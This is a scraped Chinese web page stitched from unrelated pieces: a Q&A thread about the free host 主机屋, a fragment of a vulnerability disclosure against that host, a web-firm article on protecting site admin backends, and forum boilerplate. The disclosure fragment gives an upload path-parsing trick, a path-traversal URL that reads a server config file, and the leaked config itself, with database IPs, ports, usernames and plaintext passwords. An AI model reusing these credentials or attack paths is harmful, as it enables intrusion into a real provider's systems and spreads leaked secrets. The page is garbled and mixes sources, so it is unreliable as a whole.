主机屋 安全 又 易用 适合女生的主机游戏所有

来源：蜘蛛抓取(WebSpider) 时间：2016-05-28 13:43 标签： 主机屋注册域名
主机屋免费空间真的很好，我一直在用很稳定，有一直在用的吗？交流一下_百度知道
主机屋免费空间真的很好，我一直在用很稳定，有一直在用的吗？交流一下
提问者采纳
提问者评价
谢谢你帮我大忙了
其他类似问题
为您推荐：
其他2条回答
主机屋刚开始的时候，用过半个月，用过一次宕机，适合学习和新手！且iis限制得很死。对于免费空间，且需要不断为之推广宣传，但好不好见仁见智，主机屋需要实名验证，一直很反感主机屋速度还不错，速度还不错。不建议拿来长期做站，太少
主机屋确实不错。已经用了有一段时间了。免费不说。而且速度超快。服务也很不错啊 ？以后还继续使用啊。
主机屋的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁你的位置： > 主机屋某奇葩配置导致源码泄露(数据库可外连)
但是他的数据库配置文件在非web目录，
接下来找上传了，发现一个提交工单的地方，但是。。。
/usercenter/service/gd_add.asp/1.php
/usercenter/cmd/gd_cmd.asp/1.php
还是把工单传上去了
然后就xss来了。。
这域名，还是放弃吧。
但是工单里有个图片展示的地方，可以读取文件。
/inc/show_img.asp?file_path=d:/wwwroot/upload/../global/Function.asp
全部在公网，可以连接。。
case &vhost&:
db_addr=&182.18.23.119,2888&
db_User=&zhujiwu&
db_Pwd=&dfg8j5Rthgfd9g&
db_name=&zhujiwu&
case &dns&:
db_addr=&182.18.22.7,2012&
db_User=&dnsuser&
db_Pwd=&87kh5sgy0kg4ajWdf&
db_name=&vhost&
case &beian&
db_addr=&182.18.23.119,2888&
db_User=&zhujiwubeian-v2&
db_Pwd=&zhujiwubeian-v2-lihongbin&
db_name=&beian-v2&
case &zjw_old&
db_addr=&182.18.22.22,2888&
db_User=&zhujiwu&
db_Pwd=&dfWUtger82645hjdf875&
db_name=&vhost&
case &iislog&
db_addr=&182.18.22.111,2014&
db_User=&iislog&
db_Pwd=&gongyuanyihao&
db_name=&iislog&
end select
dim Conn_db,Conn_db_str
set Conn_db=server.createobject(&adodb.connection&)
if db=&wall& then
Conn_db_str=&driver={MySQL ODBC 5.1 Driver};server=182.18.22.99;database=uid=password=P47PyfyXFNABzpdN&
漏洞证明：
转载请注明： &
与本文相关的文章网站安全:不要忽视你的网站管理后台——威客主机屋
欢迎您来到威客网络，虚拟主机、数据库产品30天不满意退款承诺！支持伪静态！
主机性质: 商用型主机、Shopex商城主机、论坛主机
7*24小时在线客服咨询：
　销售一部:
　销售二部:
　技术支持:
　值班技术:
　代理咨询:
　帮助中心
代理合同下载
网站安全:不要忽视你的网站管理后台
在百度搜索关于“”的内容
在谷歌搜索关于“”的内容
对于许多网站主而言,网站的安全维护一直是网站管理最为核心的工作;但由于网站安全更多体现在网站服务器空间以及技术功能的稳定性,所以一般网站主会认为网站安全维护更多是技术员工所要考虑的问题,但其实网站安全是一个综合性工作,而现实生活中,网站主最容易忽视的公司网站管理后台的安全问题。　　为什么网站中毒了?是出什么问题了?　　周三时,广州简美网络顾问陌野就遇到这样一个客户——刚刚改版的网站突然之间在Google等搜索引擎上显示“该网站存在风险,可能有病毒”;而客户所从事的是正规的模型制作工作,并不可能存在有违反相关法则的信息内容,所以客户相当疑惑,怎么正当的网站突然间就出现问题了呢?　　后来经过陌野对网站进行初步的网站诊断,发现其中首页的代码出现了异常——首页底部代码有一些非法链接,并且在首页没有显示;显然这是有人恶意添加的,并隐藏了这段非法代码。　　起初,陌野以为这是某个恶意修改网页的黑客所为,但当客户给到陌野后台管理入口及账号时,问题就很清晰了——客户用的是当时为其建站的公司所提供的初始账号及密码,这就导致了网站管理后台出现了巨大的安全漏洞;如果对该公司网站管理后台稍有了解的别有用心的人,一旦得知初始密码,就可以随意进入网站后台管理,进行信息的恶意篡改。　　而在陌野对其网站进一步诊断后发现,其网站还存在着诸多问题:一些明显的信息导航链接缺失,无法链接到相关页面;部分页面处于内容缺失状态;主要客户案例竟然是同一内容的重复输出,并且内容与图片信息不一致;内容更新率非常低,信息多是去年内容。　　在与客户沟通过后发现,原来为其建站及改版的公司并未提供相应的技术维护以及售后服务,试问这样的网站怎么没有安全问题呢?　　像保险柜一样对待你的网站管理后台。　　在这个案例中,由于缺乏指导,客户其实并不了解网站管理后台账号安全问题的重要性,认为网站管理后台的安全主要是技术问题,只要界面不出现混乱,网站可以打开,就意味着网站正常运作,但其实不然。　　由于普遍网站主对于网站的源代码认识较少,并不能很好识别源代码中被恶意添加的部分,所以即便网站出现问题,网站主页很难察觉。但这并不意味着网站主就无法对网站管理后台进行良好的监控。　　在这里,陌野给各位从事网站建设及管理运营的朋友提几个建议:　　第一是自定义修改初始化密码,网站管理系统的提供商所提供给你的初始账号及密码一定要进行适当的修改,因为初始化密码一般都过于简单,容易被人破解,一旦破解,就等于你的网站管理后台开放出来任人进出;　　第二是增加后台管理权限,网站后台管理账号不避免地会让一些除了网站管理员的其他人士知道,但网站管理员对初级操作者给予适当的权限设置,避免因为初级操作者的错误操作导致网站后台出现问题,也可以防止网站管理后台遭受恶意修改;　　总而言之,网站主要像对待保险柜一样对待你的网站管理后台,这样才能免于不必要的网站安全漏洞问题,保证网站的安全稳定。
丰富的网站建设经验，专业提供网站建设、网站制作、网页设计服务，专业设计，真诚服务，不满意不收费
Copyright 2008 Inc. All rights reserved 版权所有
ICP备案号：
　业务咨询01： 　　业务咨询02： 　　技术支持: 　　值班技术：主机屋免费空间使用新手
[问题点数：40分]
主机屋免费空间使用新手
[问题点数：40分]
不显示删除回复
显示所有回复
显示星级回复
显示得分回复
只显示楼主
2013年1月 PHP大版内专家分月排行榜第三2012年12月 PHP大版内专家分月排行榜第三
2013年5月 总版技术专家分月排行榜第一
2016年3月 总版技术专家分月排行榜第二2015年12月 总版技术专家分月排行榜第二2014年8月 总版技术专家分月排行榜第二2014年7月 总版技术专家分月排行榜第二2013年6月 总版技术专家分月排行榜第二
本帖子已过去太久远了，不再提供回复功能。

我要回帖

更多关于 主机屋注册域名 的文章

 

随机推荐